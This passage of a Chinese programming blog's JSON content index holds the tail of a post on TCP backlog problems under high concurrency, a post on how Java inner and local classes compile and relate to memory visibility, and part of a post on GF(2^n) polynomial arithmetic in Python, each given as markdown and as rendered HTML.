title=\"猜测原因二\"></a>猜测原因二</h3><ul>\n<li>网上搜到这篇文章<a href=\"http://www.10tiao.com/html/749/201411/201005717/1.html\" target=\"_blank\" rel=\"noopener\">http://www.10tiao.com/html/749/201411/201005717/1.html</a></li>\n<li>案例分析（二）那里描述的现象刚好跟跟上述问题非常相似——也是client握手成功但是读不到信息，作者分析的原因是，第三次握手的ACK因为AcceptQueue溢出而被丢弃，导致client进入了ESTABLISHED状态，但是server只是在<code>SYN_RECV</code>状态，并且因为<code>net.ipv4.tcp_synack_retries=1</code>(我的测试机器的这个参数是5)，所以如果Server重传的SYN+ACK报文对应的ACK还是被丢弃，那么就会进入client以为连接成功，但是server并没有连接成功的状态</li>\n<li>然而，我把server架设到另一个机子上，然后使用<code>watch -n 0.5 "netcat -n | grep 8083 | grep -i "syn""</code>检查server那里是否有链接是一直处于<code>syn_recv</code>状态，但是整个过程中看到的处于<code>SYN_RECV</code>状态的链接端口号都是在不断变动（说明它们不是hang住的链接），并且client端所有没有hang住的链接都完成后，只剩下hang住的链接时，server端是看不到处于<code>syn_recv</code>状态的链接的</li>\n<li>所以我认为可能也不是这个原因（欢迎指正！）</li>\n</ul>\n<h3 id=\"结尾\"><a href=\"#结尾\" class=\"headerlink\" title=\"结尾\"></a>结尾</h3><ul>\n<li>这个问题并没有解决，如果有大佬知道原因，或者有一些想法，欢迎与我交流，谢谢！</li>\n</ul>\n","slug":"高并发情况下backlog过低出现的问题","categories":[{"name":"网络编程","slug":"网络编程","permalink":"https://h-zex.github.io/categories/网络编程/"}],"tags":[{"name":"高并发","slug":"高并发","permalink":"https://h-zex.github.io/tags/高并发/"},{"name":"backlog","slug":"backlog","permalink":"https://h-zex.github.io/tags/backlog/"},{"name":"TCP","slug":"TCP","permalink":"https://h-zex.github.io/tags/TCP/"}]},{"title":"Java内部类、局部类的实现原理以及与内存可见性的关系","date":"2019-03-04T12:54:01.000Z","path":"2019/03/04/java内部类、局部类的实现原理/","text":"实现原理 以下内容一部分来自于core java第十版，一部分来自于我使用openjdk java1.8/java11的javac和fernflower这个反编译器反编译字节码得到的以下内容不确实是openjdk javac特有的实现，还是规范这样要求 对象内总有一个隐式引用， 它指向了创建它的外部类对象，比如下面的反编译代码 12345678910public class JavaLangTest { public JavaLangTest() { super(); } public static void main(String[] var0) { JavaLangTest.InnerClass var1 = new JavaLangTest.InnerClass(new JavaLangTest()); System.out.println(var1); }} 123456789class JavaLangTest$InnerClass { // $FF: synthetic field final JavaLangTest this$0; private JavaLangTest$InnerClass(JavaLangTest var1) { super(); this.this$0 = var1; }} 其对应与以下代码 12345678910public class JavaLangTest { public static void main(String[] args) { InnerClass innerClass = new JavaLangTest().new InnerClass(); System.out.println(innerClass); } private class InnerClass { }} 内部类是一种编译器现象，与虚拟机无关。编译器将会把内部类翻译成用$(美元符号）分隔外部类名与内部类名的常规类文件，而虚拟机则对此一无所知 内部类可以访问外围类的私有数据——无论是否static。这是一个编译器现象，那么也就是实际上这个内部类并没有魔法加持，那么它是如何访问外部类的private数据的？外部类会合成一个类似于 123static int access$100(JavaLangTest x0) { return x0.a;} 的方法，然后内部类调用这个方法，传递this$0这种指向外部类的引用的参数，从而获得private的数据（如果是static内部类，那么并不需要传递参数就可以获取）。可以利用这个特性，在无关的地方，使用反射来调用这个方法从而获取该类的private数据 局部类的实现原理 这是反编译字节码得到的局部类1234567891011121314151617class JavaLangTest$1LocalClass { // $FF: synthetic field final InnerClass val$innerClass; // $FF: synthetic field final int val$a; JavaLangTest$1LocalClass(InnerClass var1, int var2) { super(); this.val$innerClass = var1; this.val$a = var2; } void worker() { System.out.println(this.val$innerClass); System.out.println(this.val$a); }} 这是原来的代码1234567891011InnerClass innerClass = new JavaLangTest().new InnerClass();innerClass.worker();int a = 10;class LocalClass { void worker() { System.out.println(innerClass); System.out.println(a); }}LocalClass localClass = new LocalClass();localClass.worker(); 内存可见性内部类 既然我们已经知道内部类访问外部类的原理，那么内存可见性其实就和普通的类之间互相访问对方的数据没有差别。所以，如果一个变量没有final修饰或者没有volatile修饰或者没有加锁，那么就不能保证其对内部类是可见的，即使可见，也不能保证内部来看到的对象是完成构造之后的对象(这里有个问题，原子变量也是吗) 按照JCIP(java concurrent in practice)，一个对象的引用即使对于某个线程是可见的（比如某个对象发现这个引用非null了），这个对象的状态有可能还没初始化完成，也就是这个对象可能处于不一致状态 不过我在测试中，因为不能对该对象设置volatile，也不能搞个volatile的flag来标志这个对象是否已经完成初始化(因为JSR133保证，某个volatile变量被Thread a 写入后，Thread b去读这个变量，读了之后，原先在Thread a写入该变量之前对于Thread a可见的状态，对于Thread b都可见)，所以情况一直是读到该变量是null，即使另一个线程已经初始完成。所以没有复现出JCIP中提到的这种情况 局部类 因为创建线程过程中，是先构造一个Runnable对象，然后在传递给Thread，也就是构造对象的过程是在原来线程中进行的，所以可以读到这个事实final变量的正确的值 这是手写的代码 1234567891011121314class Test3 { public static void main(String[] args) { int a = 10; new Thread(new Runnable() { @Override public void run() { System.out.println(a); } }); new Thread(() -> { System.out.println(a); }); }} 这是反编译得到的代码 1234567891011121314151617import misc.Test3.1;class Test3 { Test3() { super(); } public static void main(String[] args) { int a = 10; new Thread(new 1(a)); new Thread(new Runnable() { public run() { System.out.println(a); } }); }} 12345678910111213final class Test3$1 implements Runnable { // $FF: synthetic field final int val$a; Test3$1(int var1) { super(); this.val$a = var1; } public void run() { System.out.println(this.val$a); }} 虽然lambda反汇编出来跟匿名内部类的代码不太一样，不过我认为也是同样的在同一个线程构造Runnable对象后再传递进去（欢迎指正！）","raw":"---\ntitle: Java内部类、局部类的实现原理以及与内存可见性的关系\ndate: 2019-03-04 20:54:01\ntags:\n- java内部类\n- java局部类\ncategories:\n- JAVA\n---\n\n### 实现原理\n\n> 以下内容一部分来自于core java第十版，一部分来自于我使用openjdk java1.8/java11的javac和fernflower这个反编译器反编译字节码得到的\n> 以下内容不确实是openjdk javac特有的实现，还是规范这样要求\n\n- 对象内总有一个隐式引用， 它指向了创建它的外部类对象，比如下面的反编译代码\n ```java\n public class JavaLangTest {\n public JavaLangTest() {\n super();\n }\n \n public static void main(String[] var0) {\n JavaLangTest.InnerClass var1 = new JavaLangTest.InnerClass(new JavaLangTest());\n System.out.println(var1);\n }\n }\n ```\n ```java\n class JavaLangTest$InnerClass {\n // $FF: synthetic field\n final JavaLangTest this$0;\n \n private JavaLangTest$InnerClass(JavaLangTest var1) {\n super();\n this.this$0 = var1;\n }\n }\n ```\n 其对应与以下代码\n ```java\n public class JavaLangTest {\n \n public static void main(String[] args) {\n InnerClass innerClass = new JavaLangTest().new InnerClass();\n System.out.println(innerClass);\n }\n \n private class InnerClass {\n }\n }\n ```\n\n- 内部类是一种编译器现象，与虚拟机无关。编译器将会把内部类翻译成用$(美元符号）分隔外部类名与内部类名的常规类文件，而虚拟机则对此一无所知\n\n- 内部类可以访问外围类的私有数据——无论是否static。这是一个编译器现象，那么也就是实际上这个内部类并没有魔法加持，那么它是如何访问外部类的private数据的？外部类会合成一个类似于\n\n ```java\n static int access$100(JavaLangTest x0) {\n return x0.a;\n }\n ```\n\n 的方法，然后内部类调用这个方法，传递`this$0`这种指向外部类的引用的参数，从而获得private的数据（如果是static内部类，那么并不需要传递参数就可以获取）。可以利用这个特性，在无关的地方，使用反射来调用这个方法从而获取该类的private数据\n\n- 局部类的实现原理 \n - 这是反编译字节码得到的局部类\n ```java\n class JavaLangTest$1LocalClass {\n // $FF: synthetic field\n final InnerClass val$innerClass;\n // $FF: synthetic field\n final int val$a;\n \n JavaLangTest$1LocalClass(InnerClass var1, int var2) {\n super();\n this.val$innerClass = var1;\n this.val$a = var2;\n }\n \n void worker() {\n System.out.println(this.val$innerClass);\n System.out.println(this.val$a);\n }\n }\n ```\n - 这是原来的代码\n ```java\n InnerClass innerClass = new JavaLangTest().new InnerClass();\n innerClass.worker();\n int a = 10;\n class LocalClass {\n void worker() {\n System.out.println(innerClass);\n System.out.println(a);\n }\n }\n LocalClass localClass = new LocalClass();\n localClass.worker();\n ```\n\n### 内存可见性\n\n##### 内部类\n\n- 既然我们已经知道内部类访问外部类的原理，那么内存可见性其实就和普通的类之间互相访问对方的数据没有差别。所以，如果一个变量没有final修饰或者没有volatile修饰或者没有加锁，那么就不能保证其对内部类是可见的，即使可见，也不能保证内部来看到的对象是完成构造之后的对象(这里有个问题，原子变量也是吗)\n- 按照JCIP(java concurrent in practice)，一个对象的引用即使对于某个线程是可见的（比如某个对象发现这个引用非null了），这个对象的状态有可能还没初始化完成，也就是这个对象可能处于不一致状态\n- 不过我在测试中，因为不能对该对象设置volatile，也不能搞个volatile的flag来标志这个对象是否已经完成初始化(因为JSR133保证，某个volatile变量被Thread a 写入后，Thread b去读这个变量，读了之后，原先在Thread a写入该变量之前对于Thread a可见的状态，对于Thread b都可见)，所以情况一直是读到该变量是null，即使另一个线程已经初始完成。所以没有复现出JCIP中提到的这种情况\n\n##### 局部类\n\n- 因为创建线程过程中，是先构造一个Runnable对象，然后在传递给Thread，也就是构造对象的过程是在原来线程中进行的，所以可以读到这个事实final变量的正确的值\n- 这是手写的代码\n ```java\n class Test3 {\n public static void main(String[] args) {\n int a = 10;\n new Thread(new Runnable() {\n @Override\n public void run() {\n System.out.println(a);\n }\n });\n new Thread(() -> {\n System.out.println(a);\n });\n }\n }\n ```\n- 这是反编译得到的代码\n ```java\n import misc.Test3.1;\n \n class Test3 {\n Test3() {\n super();\n }\n \n public static void main(String[] args) {\n int a = 10;\n new Thread(new 1(a));\n new Thread(new Runnable() {\n public run() {\n System.out.println(a);\n }\n });\n }\n }\n ```\n ```java\n final class Test3$1 implements Runnable {\n // $FF: synthetic field\n final int val$a;\n \n Test3$1(int var1) {\n super();\n this.val$a = var1;\n }\n \n public void run() {\n System.out.println(this.val$a);\n }\n }\n ```\n- 虽然lambda反汇编出来跟匿名内部类的代码不太一样，不过我认为也是同样的在同一个线程构造Runnable对象后再传递进去（欢迎指正！）\n","content":"<h3 id=\"实现原理\"><a href=\"#实现原理\" class=\"headerlink\" title=\"实现原理\"></a>实现原理</h3><blockquote>\n<p>以下内容一部分来自于core java第十版，一部分来自于我使用openjdk java1.8/java11的javac和fernflower这个反编译器反编译字节码得到的<br>以下内容不确实是openjdk javac特有的实现，还是规范这样要求</p>\n</blockquote>\n<ul>\n<li><p>对象内总有一个隐式引用， 它指向了创建它的外部类对象，比如下面的反编译代码</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">public</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">JavaLangTest</span> </span>{</span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"title\">JavaLangTest</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">super</span>();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] var0)</span> </span>{</span><br><span class=\"line\"> JavaLangTest.InnerClass var1 = <span class=\"keyword\">new</span> JavaLangTest.InnerClass(<span class=\"keyword\">new</span> JavaLangTest());</span><br><span class=\"line\"> System.out.println(var1);</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">JavaLangTest</span>$<span class=\"title\">InnerClass</span> </span>{</span><br><span class=\"line\"> <span class=\"comment\">// $FF: synthetic field</span></span><br><span class=\"line\"> <span class=\"keyword\">final</span> JavaLangTest <span class=\"keyword\">this</span>$<span class=\"number\">0</span>;</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">private</span> JavaLangTest$InnerClass(JavaLangTest var1) {</span><br><span class=\"line\"> <span class=\"keyword\">super</span>();</span><br><span class=\"line\"> <span class=\"keyword\">this</span>.<span class=\"keyword\">this</span>$<span class=\"number\">0</span> = var1;</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<p> 其对应与以下代码</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">public</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">JavaLangTest</span> </span>{</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> </span>{</span><br><span class=\"line\"> InnerClass innerClass = <span class=\"keyword\">new</span> JavaLangTest().new InnerClass();</span><br><span class=\"line\"> System.out.println(innerClass);</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">private</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">InnerClass</span> </span>{</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>内部类是一种编译器现象，与虚拟机无关。编译器将会把内部类翻译成用$(美元符号）分隔外部类名与内部类名的常规类文件，而虚拟机则对此一无所知</p>\n</li>\n<li><p>内部类可以访问外围类的私有数据——无论是否static。这是一个编译器现象，那么也就是实际上这个内部类并没有魔法加持，那么它是如何访问外部类的private数据的？外部类会合成一个类似于</p>\n<figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">static</span> <span class=\"keyword\">int</span> access$<span class=\"number\">100</span>(JavaLangTest x0) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x0.a;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<p>的方法，然后内部类调用这个方法，传递<code>this$0</code>这种指向外部类的引用的参数，从而获得private的数据（如果是static内部类，那么并不需要传递参数就可以获取）。可以利用这个特性，在无关的地方，使用反射来调用这个方法从而获取该类的private数据</p>\n</li>\n<li><p>局部类的实现原理 </p>\n<ul>\n<li>这是反编译字节码得到的局部类<figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">JavaLangTest</span>$1<span class=\"title\">LocalClass</span> </span>{</span><br><span class=\"line\"> <span class=\"comment\">// $FF: synthetic field</span></span><br><span class=\"line\"> <span class=\"keyword\">final</span> InnerClass val$innerClass;</span><br><span class=\"line\"> <span class=\"comment\">// $FF: synthetic field</span></span><br><span class=\"line\"> <span class=\"keyword\">final</span> <span class=\"keyword\">int</span> val$a;</span><br><span class=\"line\"></span><br><span class=\"line\"> JavaLangTest$<span class=\"number\">1L</span>ocalClass(InnerClass var1, <span class=\"keyword\">int</span> var2) {</span><br><span class=\"line\"> <span class=\"keyword\">super</span>();</span><br><span class=\"line\"> <span class=\"keyword\">this</span>.val$innerClass = var1;</span><br><span class=\"line\"> <span class=\"keyword\">this</span>.val$a = var2;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">void</span> <span class=\"title\">worker</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> System.out.println(<span class=\"keyword\">this</span>.val$innerClass);</span><br><span class=\"line\"> System.out.println(<span class=\"keyword\">this</span>.val$a);</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n<ul>\n<li>这是原来的代码<figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">InnerClass innerClass = <span class=\"keyword\">new</span> JavaLangTest().new InnerClass();</span><br><span class=\"line\">innerClass.worker();</span><br><span class=\"line\"><span class=\"keyword\">int</span> a = <span class=\"number\">10</span>;</span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">LocalClass</span> </span>{</span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">void</span> <span class=\"title\">worker</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> System.out.println(innerClass);</span><br><span class=\"line\"> System.out.println(a);</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br><span class=\"line\">LocalClass localClass = <span class=\"keyword\">new</span> LocalClass();</span><br><span class=\"line\">localClass.worker();</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"内存可见性\"><a href=\"#内存可见性\" class=\"headerlink\" title=\"内存可见性\"></a>内存可见性</h3><h5 id=\"内部类\"><a href=\"#内部类\" class=\"headerlink\" title=\"内部类\"></a>内部类</h5><ul>\n<li>既然我们已经知道内部类访问外部类的原理，那么内存可见性其实就和普通的类之间互相访问对方的数据没有差别。所以，如果一个变量没有final修饰或者没有volatile修饰或者没有加锁，那么就不能保证其对内部类是可见的，即使可见，也不能保证内部来看到的对象是完成构造之后的对象(这里有个问题，原子变量也是吗)</li>\n<li>按照JCIP(java concurrent in practice)，一个对象的引用即使对于某个线程是可见的（比如某个对象发现这个引用非null了），这个对象的状态有可能还没初始化完成，也就是这个对象可能处于不一致状态</li>\n<li>不过我在测试中，因为不能对该对象设置volatile，也不能搞个volatile的flag来标志这个对象是否已经完成初始化(因为JSR133保证，某个volatile变量被Thread a 写入后，Thread b去读这个变量，读了之后，原先在Thread a写入该变量之前对于Thread a可见的状态，对于Thread b都可见)，所以情况一直是读到该变量是null，即使另一个线程已经初始完成。所以没有复现出JCIP中提到的这种情况</li>\n</ul>\n<h5 id=\"局部类\"><a href=\"#局部类\" class=\"headerlink\" title=\"局部类\"></a>局部类</h5><ul>\n<li>因为创建线程过程中，是先构造一个Runnable对象，然后在传递给Thread，也就是构造对象的过程是在原来线程中进行的，所以可以读到这个事实final变量的正确的值</li>\n<li><p>这是手写的代码</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">Test3</span> </span>{</span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">int</span> a = <span class=\"number\">10</span>;</span><br><span class=\"line\"> <span class=\"keyword\">new</span> Thread(<span class=\"keyword\">new</span> Runnable() {</span><br><span class=\"line\"> <span class=\"meta\">@Override</span></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">void</span> <span class=\"title\">run</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> System.out.println(a);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> });</span><br><span class=\"line\"> <span class=\"keyword\">new</span> Thread(() -> {</span><br><span class=\"line\"> System.out.println(a);</span><br><span class=\"line\"> });</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>这是反编译得到的代码</p>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">import</span> misc.Test3.1;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">Test3</span> </span>{</span><br><span class=\"line\"> Test3() {</span><br><span class=\"line\"> <span class=\"keyword\">super</span>();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">static</span> <span class=\"keyword\">void</span> <span class=\"title\">main</span><span class=\"params\">(String[] args)</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">int</span> a = <span class=\"number\">10</span>;</span><br><span class=\"line\"> <span class=\"keyword\">new</span> Thread(<span class=\"keyword\">new</span> <span class=\"number\">1</span>(a));</span><br><span class=\"line\"> <span class=\"keyword\">new</span> Thread(<span class=\"keyword\">new</span> Runnable() {</span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"title\">run</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> System.out.println(a);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> });</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n <figure class=\"highlight java\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">final</span> <span class=\"class\"><span class=\"keyword\">class</span> <span class=\"title\">Test3</span>$1 <span class=\"keyword\">implements</span> <span class=\"title\">Runnable</span> </span>{</span><br><span class=\"line\"> <span class=\"comment\">// $FF: synthetic field</span></span><br><span class=\"line\"> <span class=\"keyword\">final</span> <span class=\"keyword\">int</span> val$a;</span><br><span class=\"line\"></span><br><span class=\"line\"> Test3$<span class=\"number\">1</span>(<span class=\"keyword\">int</span> var1) {</span><br><span class=\"line\"> <span class=\"keyword\">super</span>();</span><br><span class=\"line\"> <span class=\"keyword\">this</span>.val$a = var1;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"function\"><span class=\"keyword\">public</span> <span class=\"keyword\">void</span> <span class=\"title\">run</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> System.out.println(<span class=\"keyword\">this</span>.val$a);</span><br><span class=\"line\"> }</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>虽然lambda反汇编出来跟匿名内部类的代码不太一样，不过我认为也是同样的在同一个线程构造Runnable对象后再传递进去（欢迎指正！）</p>\n</li>\n</ul>\n","slug":"java内部类、局部类的实现原理","categories":[{"name":"JAVA","slug":"JAVA","permalink":"https://h-zex.github.io/categories/JAVA/"}],"tags":[{"name":"java内部类","slug":"java内部类","permalink":"https://h-zex.github.io/tags/java内部类/"},{"name":"java局部类","slug":"java局部类","permalink":"https://h-zex.github.io/tags/java局部类/"}]},{"title":"$GF(2^n)$上算术运算的实现","date":"2018-10-18T12:06:10.000Z","path":"2018/10/18/GF-2-n上算术运算的实现/","text":"代码 几个关键点 求模时，算法如下 123456789101112131415def __modAndDiv__(x, y): \"\"\" return the (x%y, x/y) \"\"\" if y == 0: raise ZeroDivisionError xl = util.bitLen(x) yl = util.bitLen(y) if xl < yl: return x, 0 d = 0 while xl >= yl: x, d = Polynomial.__sub__(x, y << (xl - yl)), Polynomial.__add__(d, (1 << (xl - yl))) xl = util.bitLen(x) return x, d 要注意，不可以直接__sub__(x, y)，要__sub__(x, y<<(xl-yl))，保证y<<(xl-yl)的最高位与x的最高位是同一位，这样才能把x变小。如果直接减，因为x^y^y=x，也就是减去两次y等于没有减，从而死循环 计算乘法逆元时，可以使用extend gcd，也可以使用拉格朗日定理$a^{|s|}=e$（e是群S上的单位元），从而$a^{|s|-1}=a^{-1}$——因为每个元素都只有唯一逆元","raw":"---\ntitle: $GF(2^n)$上算术运算的实现\ndate: 2018-10-18 20:06:10\ndescription: 在$GF(2^n)$域上的算术运算的python代码实现\ntags:\n- GF2n\ncategories:\n- 数学\n- 密码学\n---\n\n- [代码](https://github.com/H-ZeX/Cryptorgraphy-Course/blob/master/CryptographyLib/GF2nElement.py)\n\n- 几个关键点\n\n - 求模时，算法如下\n\n ```python\n def __modAndDiv__(x, y):\n \"\"\"\n return the (x%y, x/y)\n \"\"\"\n if y == 0:\n raise ZeroDivisionError\n xl = util.bitLen(x)\n yl = util.bitLen(y)\n if xl < yl:\n return x, 0\n d = 0\n while xl >= yl:\n x, d = Polynomial.__sub__(x, y << (xl - yl)), Polynomial.__add__(d, (1 << (xl - yl)))\n xl = util.bitLen(x)\n return x, d\n ```\n\n 要注意，不可以直接`__sub__(x, y)`，要`__sub__(x, y<<(xl-yl))`，保证`y<<(xl-yl)`的最高位与x的最高位是同一位，这样才能把x变小。如果直接减，因为`x^y^y=x`，也就是减去两次`y`等于没有减，从而死循环\n\n - 计算乘法逆元时，可以使用extend gcd，也可以使用拉格朗日定理$a^{|s|}=e$（e是群S上的单位元），从而$a^{|s|-1}=a^{-1}$——因为每个元素都只有唯一逆元\n","content":"<ul>\n<li><p><a href=\"https://github.com/H-ZeX/Cryptorgraphy-Course/blob/master/CryptographyLib/GF2nElement.py\" target=\"_blank\" rel=\"noopener\">代码</a></p>\n</li>\n<li><p>几个关键点</p>\n<ul>\n<li><p>求模时，算法如下</p>\n<figure class=\"highlight python\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">def</span> <span class=\"title\">__modAndDiv__</span><span class=\"params\">(x, y)</span>:</span></span><br><span class=\"line\"> <span class=\"string\">\"\"\"</span></span><br><span class=\"line\"><span class=\"string\"> return the (x%y, x/y)</span></span><br><span class=\"line\"><span class=\"string\"> \"\"\"</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> y == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">raise</span> ZeroDivisionError</span><br><span class=\"line\"> xl = util.bitLen(x)</span><br><span class=\"line\"> yl = util.bitLen(y)</span><br><span class=\"line\"> <span class=\"keyword\">if</span> xl < yl:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x, <span class=\"number\">0</span></span><br><span class=\"line\"> d = <span class=\"number\">0</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> xl >= yl:</span><br><span class=\"line\"> x, d = Polynomial.__sub__(x, y << (xl - yl)), Polynomial.__add__(d, (<span class=\"number\">1</span> << (xl - yl)))</span><br><span class=\"line\"> xl = util.bitLen(x)</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x, d</span><br></pre></td></tr></table></figure>\n<p>要注意，不可以直接<code>__sub__(x, y)</code>，要<code>__sub__(x, y<<(xl-yl))</code>，保证<code>y<<(xl-yl)</code>的最高位与x的最高位是同一位，这样才能把x变小。如果直接减，因为<code>x^y^y=x</code>，也就是减去两次<code>y</code>等于没有减，从而死循环</p>\n</li>\n<li><p>计算乘法逆元时，可以使用extend 